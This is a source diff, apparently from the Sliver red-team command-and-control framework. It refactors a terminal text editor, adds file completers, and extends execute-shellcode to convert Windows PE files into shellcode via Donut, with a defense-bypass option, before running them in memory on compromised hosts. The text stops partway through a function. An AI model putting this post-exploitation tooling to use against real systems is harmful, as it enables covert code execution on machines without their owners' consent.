@@ -17,8 +18,9 @@ import (
|
|||||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
"github.com/bishopfox/sliver/util/encoders"
|
"github.com/bishopfox/sliver/util/encoders"
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
"github.com/charmbracelet/colorprofile"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
|
"golang.org/x/term"
|
||||||
"google.golang.org/protobuf/proto"
|
"google.golang.org/protobuf/proto"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -151,7 +153,15 @@ func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
|
|
||||||
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
|
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
|
||||||
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
|
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
|
||||||
program := tea.NewProgram(model, tea.WithAltScreen())
|
width, height := 80, 24
|
||||||
|
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||||
|
width, height = w, h
|
||||||
|
}
|
||||||
|
program := tea.NewProgram(
|
||||||
|
model,
|
||||||
|
tea.WithWindowSize(width, height),
|
||||||
|
tea.WithColorProfile(colorprofile.TrueColor),
|
||||||
|
)
|
||||||
finalModel, err := program.Run()
|
finalModel, err := program.Run()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return editorResult{}, err
|
return editorResult{}, err
|
||||||
|
|||||||
@@ -6,11 +6,11 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"unicode"
|
"unicode"
|
||||||
|
|
||||||
|
tea "charm.land/bubbletea/v2"
|
||||||
|
"charm.land/lipgloss/v2"
|
||||||
"github.com/alecthomas/chroma/v2"
|
"github.com/alecthomas/chroma/v2"
|
||||||
"github.com/alecthomas/chroma/v2/formatters"
|
"github.com/alecthomas/chroma/v2/formatters"
|
||||||
"github.com/alecthomas/chroma/v2/styles"
|
"github.com/alecthomas/chroma/v2/styles"
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
"github.com/charmbracelet/lipgloss"
|
|
||||||
"github.com/charmbracelet/x/ansi"
|
"github.com/charmbracelet/x/ansi"
|
||||||
"golang.org/x/term"
|
"golang.org/x/term"
|
||||||
)
|
)
|
||||||
@@ -69,9 +69,12 @@ type editorModel struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var (
|
var (
|
||||||
cursorStyle = lipgloss.NewStyle().Reverse(true)
|
lineStyle = lipgloss.NewStyle()
|
||||||
statusStyle = lipgloss.NewStyle().Reverse(true)
|
)
|
||||||
lineStyle = lipgloss.NewStyle()
|
|
||||||
|
const (
|
||||||
|
ansiReverseOn = "\x1b[7m"
|
||||||
|
ansiReverseOff = "\x1b[0m"
|
||||||
)
|
)
|
||||||
|
|
||||||
func newEditorModel(content, filename string, lexer chroma.Lexer, syntaxName string, showLineNumbers bool) *editorModel {
|
func newEditorModel(content, filename string, lexer chroma.Lexer, syntaxName string, showLineNumbers bool) *editorModel {
|
||||||
@@ -108,28 +111,29 @@ func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
|
|||||||
m.height = msg.Height
|
m.height = msg.Height
|
||||||
m.ensureCursorVisible()
|
m.ensureCursorVisible()
|
||||||
return m, nil
|
return m, nil
|
||||||
case tea.KeyMsg:
|
case tea.KeyPressMsg:
|
||||||
if m.clearMessage {
|
if m.clearMessage {
|
||||||
m.message = ""
|
m.message = ""
|
||||||
m.clearMessage = false
|
m.clearMessage = false
|
||||||
}
|
}
|
||||||
if msg.Type == tea.KeyCtrlC {
|
key := msg.Key()
|
||||||
|
if key.Mod.Contains(tea.ModCtrl) && key.Code == 'c' {
|
||||||
m.action = actionQuit
|
m.action = actionQuit
|
||||||
return m, tea.Quit
|
return m, tea.Quit
|
||||||
}
|
}
|
||||||
switch m.mode {
|
switch m.mode {
|
||||||
case modeCommand:
|
case modeCommand:
|
||||||
return m.handleCommand(msg)
|
return m.handleCommand(key)
|
||||||
case modeInsert:
|
case modeInsert:
|
||||||
return m.handleInsert(msg)
|
return m.handleInsert(key)
|
||||||
default:
|
default:
|
||||||
return m.handleNormal(msg)
|
return m.handleNormal(key)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return m, nil
|
return m, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) View() string {
|
func (m *editorModel) View() tea.View {
|
||||||
if m.width == 0 || m.height == 0 {
|
if m.width == 0 || m.height == 0 {
|
||||||
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||||
m.width = w
|
m.width = w
|
||||||
@@ -152,19 +156,33 @@ func (m *editorModel) View() string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if m.height < 2 {
|
if m.height < 2 {
|
||||||
return b.String()
|
return editorView(b.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
b.WriteByte('\n')
|
b.WriteByte('\n')
|
||||||
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
|
b.WriteString(renderStatusBar(m.width, m.statusLine()))
|
||||||
|
|
||||||
if m.height < 3 {
|
if m.height < 3 {
|
||||||
return b.String()
|
return editorView(b.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
b.WriteByte('\n')
|
b.WriteByte('\n')
|
||||||
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
|
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
|
||||||
return b.String()
|
return editorView(b.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
func renderStatusBar(width int, text string) string {
|
||||||
|
return ansiReverseOn + lineStyle.Width(width).Render(text) + ansiReverseOff
|
||||||
|
}
|
||||||
|
|
||||||
|
func renderCursorCell(cell string) string {
|
||||||
|
return ansiReverseOn + cell + ansiReverseOff
|
||||||
|
}
|
||||||
|
|
||||||
|
func editorView(content string) tea.View {
|
||||||
|
v := tea.NewView(content)
|
||||||
|
v.AltScreen = true
|
||||||
|
return v
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) result() editorResult {
|
func (m *editorModel) result() editorResult {
|
||||||
@@ -176,8 +194,8 @@ func (m *editorModel) result() editorResult {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
func (m *editorModel) handleCommand(key tea.Key) (tea.Model, tea.Cmd) {
|
||||||
switch msg.Type {
|
switch key.Code {
|
||||||
case tea.KeyEsc:
|
case tea.KeyEsc:
|
||||||
m.mode = modeNormal
|
m.mode = modeNormal
|
||||||
m.command = ""
|
m.command = ""
|
||||||
@@ -196,14 +214,16 @@ func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
}
|
}
|
||||||
case tea.KeyBackspace:
|
case tea.KeyBackspace:
|
||||||
m.command = popRune(m.command)
|
m.command = popRune(m.command)
|
||||||
case tea.KeyRunes:
|
default:
|
||||||
m.command += string(msg.Runes)
|
if key.Text != "" {
|
||||||
|
m.command += key.Text
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return m, nil
|
return m, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
func (m *editorModel) handleInsert(key tea.Key) (tea.Model, tea.Cmd) {
|
||||||
switch msg.Type {
|
switch key.Code {
|
||||||
case tea.KeyEsc:
|
case tea.KeyEsc:
|
||||||
m.mode = modeNormal
|
m.mode = modeNormal
|
||||||
case tea.KeyEnter:
|
case tea.KeyEnter:
|
||||||
@@ -222,8 +242,8 @@ func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
m.moveDown()
|
m.moveDown()
|
||||||
case tea.KeyTab:
|
case tea.KeyTab:
|
||||||
m.insertRune('\t')
|
m.insertRune('\t')
|
||||||
case tea.KeyRunes:
|
default:
|
||||||
for _, r := range msg.Runes {
|
for _, r := range key.Text {
|
||||||
m.insertRune(r)
|
m.insertRune(r)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -231,8 +251,8 @@ func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
return m, nil
|
return m, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
func (m *editorModel) handleNormal(key tea.Key) (tea.Model, tea.Cmd) {
|
||||||
switch msg.Type {
|
switch key.Code {
|
||||||
case tea.KeyEsc:
|
case tea.KeyEsc:
|
||||||
m.pending = 0
|
m.pending = 0
|
||||||
case tea.KeyLeft:
|
case tea.KeyLeft:
|
||||||
@@ -243,8 +263,8 @@ func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
m.moveUp()
|
m.moveUp()
|
||||||
case tea.KeyDown:
|
case tea.KeyDown:
|
||||||
m.moveDown()
|
m.moveDown()
|
||||||
case tea.KeyRunes:
|
default:
|
||||||
for _, r := range msg.Runes {
|
for _, r := range key.Text {
|
||||||
if m.handleNormalRune(r) {
|
if m.handleNormalRune(r) {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -409,9 +429,9 @@ func (m *editorModel) renderLine(index int) string {
|
|||||||
if cursor >= start && cursor <= start+contentWidth {
|
if cursor >= start && cursor <= start+contentWidth {
|
||||||
rel := cursor - start
|
rel := cursor - start
|
||||||
if rel < len(visible) {
|
if rel < len(visible) {
|
||||||
lineText = string(visible[:rel]) + cursorStyle.Render(string(visible[rel])) + string(visible[rel+1:])
|
lineText = string(visible[:rel]) + renderCursorCell(string(visible[rel])) + string(visible[rel+1:])
|
||||||
} else {
|
} else {
|
||||||
lineText = string(visible) + cursorStyle.Render(" ")
|
lineText = string(visible) + renderCursorCell(" ")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -917,11 +937,11 @@ func (m *editorModel) applyCursor(rendered, highlighted string, line []rune, sta
|
|||||||
}
|
}
|
||||||
if cursor == len(line) {
|
if cursor == len(line) {
|
||||||
left := ansi.Cut(highlighted, start, cursor)
|
left := ansi.Cut(highlighted, start, cursor)
|
||||||
return left + cursorStyle.Render(" ")
|
return left + renderCursorCell(" ")
|
||||||
}
|
}
|
||||||
left := ansi.Cut(highlighted, start, cursor)
|
left := ansi.Cut(highlighted, start, cursor)
|
||||||
right := ansi.Cut(highlighted, cursor+1, end)
|
right := ansi.Cut(highlighted, cursor+1, end)
|
||||||
return left + cursorStyle.Render(string(line[cursor])) + right
|
return left + renderCursorCell(string(line[cursor])) + right
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) executeSearch(pattern string) {
|
func (m *editorModel) executeSearch(pattern string) {
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package exec
|
package exec
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/generate"
|
"github.com/bishopfox/sliver/client/command/generate"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
@@ -33,7 +34,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||||
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
|
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
|
||||||
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
|
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
|
||||||
f.Bool("env-inheritance", true, "inherit environment variables from the current process")
|
f.Bool("env-inheritance", false, "inherit environment variables from the current process")
|
||||||
f.StringArray("env", nil, "set an environment variable for the child process (key=value)")
|
f.StringArray("env", nil, "set an environment variable for the child process (key=value)")
|
||||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||||
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
|
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
|
||||||
@@ -93,6 +94,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
|
|
||||||
carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)"))
|
carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)"))
|
||||||
carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)"))
|
carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(executeAssemblyCmd, 0)
|
||||||
|
|
||||||
executeShellcodeCmd := &cobra.Command{
|
executeShellcodeCmd := &cobra.Command{
|
||||||
Use: consts.ExecuteShellcodeStr,
|
Use: consts.ExecuteShellcodeStr,
|
||||||
@@ -112,6 +114,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
|
f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
|
||||||
f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
|
f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
|
||||||
f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
|
f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
|
||||||
|
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows PE input only)")
|
||||||
|
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows PE input only)")
|
||||||
|
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows PE input only)")
|
||||||
|
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows PE input only)")
|
||||||
|
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows PE input only)")
|
||||||
|
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows PE input only)")
|
||||||
|
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows PE input only)")
|
||||||
|
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows PE input only)")
|
||||||
|
|
||||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||||
})
|
})
|
||||||
@@ -119,6 +129,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
|
(*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
|
||||||
})
|
})
|
||||||
carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)"))
|
carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(executeShellcodeCmd, 0)
|
||||||
|
|
||||||
sideloadCmd := &cobra.Command{
|
sideloadCmd := &cobra.Command{
|
||||||
Use: consts.SideloadStr,
|
Use: consts.SideloadStr,
|
||||||
@@ -147,6 +158,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
|
|
||||||
carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)"))
|
carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)"))
|
||||||
carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)"))
|
carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(sideloadCmd, 0)
|
||||||
|
|
||||||
spawnDllCmd := &cobra.Command{
|
spawnDllCmd := &cobra.Command{
|
||||||
Use: consts.SpawnDllStr,
|
Use: consts.SpawnDllStr,
|
||||||
@@ -175,6 +187,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
|
|
||||||
carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)"))
|
carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)"))
|
||||||
carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)"))
|
carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(spawnDllCmd, 0)
|
||||||
|
|
||||||
migrateCmd := &cobra.Command{
|
migrateCmd := &cobra.Command{
|
||||||
Use: consts.MigrateStr,
|
Use: consts.MigrateStr,
|
||||||
@@ -260,6 +273,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["custom-exe"] = carapace.ActionFiles()
|
(*comp)["custom-exe"] = carapace.ActionFiles()
|
||||||
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(psExecCmd, "custom-exe")
|
||||||
carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)"))
|
carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)"))
|
||||||
|
|
||||||
sshCmd := &cobra.Command{
|
sshCmd := &cobra.Command{
|
||||||
@@ -290,6 +304,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["private-key"] = carapace.ActionFiles()
|
(*comp)["private-key"] = carapace.ActionFiles()
|
||||||
(*comp)["kerberos-keytab"] = carapace.ActionFiles()
|
(*comp)["kerberos-keytab"] = carapace.ActionFiles()
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletions(sshCmd, "private-key", "kerberos-keytab")
|
||||||
|
|
||||||
carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)"))
|
carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)"))
|
||||||
carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments"))
|
carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments"))
|
||||||
|
|||||||
@@ -20,27 +20,44 @@ package exec
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"bufio"
|
"bufio"
|
||||||
|
"bytes"
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"log"
|
"log"
|
||||||
"os"
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/Binject/debug/pe"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
"github.com/bishopfox/sliver/client/core"
|
"github.com/bishopfox/sliver/client/core"
|
||||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
|
wasmdonut "github.com/sliverarmory/wasm-donut"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"golang.org/x/term"
|
"golang.org/x/term"
|
||||||
"google.golang.org/protobuf/proto"
|
"google.golang.org/protobuf/proto"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
defaultExecuteShellcodeDonutEntropy = wasmdonut.DonutEntropyNone
|
||||||
|
defaultExecuteShellcodeDonutCompress = wasmdonut.DonutCompressNone
|
||||||
|
defaultExecuteShellcodeDonutExitOpt = wasmdonut.DonutExitThread
|
||||||
|
defaultExecuteShellcodeDonutBypass = wasmdonut.DonutBypassContinue
|
||||||
|
defaultExecuteShellcodeDonutHeaders = wasmdonut.DonutHeadersOverwrite
|
||||||
|
imageFileDLLMask = 0x2000
|
||||||
|
)
|
||||||
|
|
||||||
// ExecuteShellcodeCmd - Execute shellcode in-memory.
|
// ExecuteShellcodeCmd - Execute shellcode in-memory.
|
||||||
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||||
session, beacon := con.ActiveTarget.GetInteractive()
|
session, beacon := con.ActiveTarget.GetInteractive()
|
||||||
if session == nil && beacon == nil {
|
if session == nil && beacon == nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
targetName := activeTargetName(session, beacon)
|
||||||
|
targetOS := activeTargetOS(session, beacon)
|
||||||
|
targetArch := activeTargetArch(session, beacon)
|
||||||
|
|
||||||
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
|
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
|
||||||
interactive, _ := cmd.Flags().GetBool("interactive")
|
interactive, _ := cmd.Flags().GetBool("interactive")
|
||||||
@@ -60,6 +77,27 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
|||||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
shellcodeConfig, shellcodeFlagsChanged, err := parseExecuteShellcodeFlags(cmd)
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
shouldConvertPE, isDLLHint := shouldConvertExecuteShellcodePE(shellcodePath, shellcodeFlagsChanged)
|
||||||
|
if shouldConvertPE {
|
||||||
|
if targetOS != "windows" {
|
||||||
|
con.PrintErrorf("PE input and --shellcode-* options are only supported for Windows targets in execute-shellcode\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
con.PrintInfof("Converting PE input to shellcode ...\n")
|
||||||
|
shellcodeBin, err = donutShellcodeFromPE(shellcodeBin, targetArch, isDLLHint, shellcodeConfig)
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("Failed to convert PE input to shellcode: %s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
|
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
|
||||||
if shikataGaNai {
|
if shikataGaNai {
|
||||||
if !rwxPages {
|
if !rwxPages {
|
||||||
@@ -96,7 +134,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
ctrl := make(chan bool)
|
ctrl := make(chan bool)
|
||||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
msg := fmt.Sprintf("Sending shellcode to %s ...", targetName)
|
||||||
con.SpinUntil(msg, ctrl)
|
con.SpinUntil(msg, ctrl)
|
||||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||||
Data: shellcodeBin,
|
Data: shellcodeBin,
|
||||||
@@ -135,6 +173,186 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func parseExecuteShellcodeFlags(cmd *cobra.Command) (*clientpb.ShellcodeConfig, bool, error) {
|
||||||
|
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
|
||||||
|
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
|
||||||
|
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
|
||||||
|
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
|
||||||
|
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
|
||||||
|
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
|
||||||
|
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
|
||||||
|
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
|
||||||
|
|
||||||
|
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
|
||||||
|
cmd.Flags().Changed("shellcode-compress") ||
|
||||||
|
cmd.Flags().Changed("shellcode-exitopt") ||
|
||||||
|
cmd.Flags().Changed("shellcode-bypass") ||
|
||||||
|
cmd.Flags().Changed("shellcode-headers") ||
|
||||||
|
cmd.Flags().Changed("shellcode-thread") ||
|
||||||
|
cmd.Flags().Changed("shellcode-unicode") ||
|
||||||
|
cmd.Flags().Changed("shellcode-oep")
|
||||||
|
|
||||||
|
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
|
||||||
|
return nil, false, fmt.Errorf("shellcode-entropy must be between 1 and 3")
|
||||||
|
}
|
||||||
|
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
|
||||||
|
return nil, false, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
|
||||||
|
}
|
||||||
|
if shellcodeBypass < 1 || shellcodeBypass > 3 {
|
||||||
|
return nil, false, fmt.Errorf("shellcode-bypass must be between 1 and 3")
|
||||||
|
}
|
||||||
|
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
|
||||||
|
return nil, false, fmt.Errorf("shellcode-headers must be 1 or 2")
|
||||||
|
}
|
||||||
|
|
||||||
|
shellcodeCompress := uint32(1)
|
||||||
|
if shellcodeCompressEnabled {
|
||||||
|
shellcodeCompress = 2
|
||||||
|
}
|
||||||
|
|
||||||
|
return &clientpb.ShellcodeConfig{
|
||||||
|
Entropy: shellcodeEntropy,
|
||||||
|
Compress: shellcodeCompress,
|
||||||
|
ExitOpt: shellcodeExitOpt,
|
||||||
|
Bypass: shellcodeBypass,
|
||||||
|
Headers: shellcodeHeaders,
|
||||||
|
Thread: shellcodeThread,
|
||||||
|
Unicode: shellcodeUnicode,
|
||||||
|
OEP: shellcodeOEP,
|
||||||
|
}, anyChanged, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func shouldConvertExecuteShellcodePE(shellcodePath string, shellcodeFlagsChanged bool) (bool, bool) {
|
||||||
|
ext := strings.ToLower(filepath.Ext(shellcodePath))
|
||||||
|
isPEByExt := ext == ".exe" || ext == ".dll"
|
||||||
|
return isPEByExt || shellcodeFlagsChanged, ext == ".dll"
|
||||||
|
}
|
||||||
|
|
||||||
|
func activeTargetName(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||||
|
if session != nil {
|
||||||
|
return session.GetName()
|
||||||
|
}
|
||||||
|
if beacon != nil {
|
||||||
|
return beacon.GetName()
|
||||||
|
}
|
||||||
|
return "target"
|
||||||
|
}
|
||||||
|
|
||||||
|
func activeTargetOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||||
|
if session != nil {
|
||||||
|
return strings.ToLower(session.GetOS())
|
||||||
|
}
|
||||||
|
if beacon != nil {
|
||||||
|
return strings.ToLower(beacon.GetOS())
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func activeTargetArch(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||||
|
if session != nil {
|
||||||
|
return session.GetArch()
|
||||||
|
}
|
||||||
|
if beacon != nil {
|
||||||
|
return beacon.GetArch()
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
type executeShellcodeDonutOptions struct {
|
||||||
|
entropy int
|
||||||
|
compress int
|
||||||
|
exitOpt int
|
||||||
|
bypass int
|
||||||
|
headers int
|
||||||
|
thread bool
|
||||||
|
unicode bool
|
||||||
|
oep uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeExecuteShellcodeDonutConfig(config *clientpb.ShellcodeConfig) executeShellcodeDonutOptions {
|
||||||
|
opts := executeShellcodeDonutOptions{
|
||||||
|
entropy: defaultExecuteShellcodeDonutEntropy,
|
||||||
|
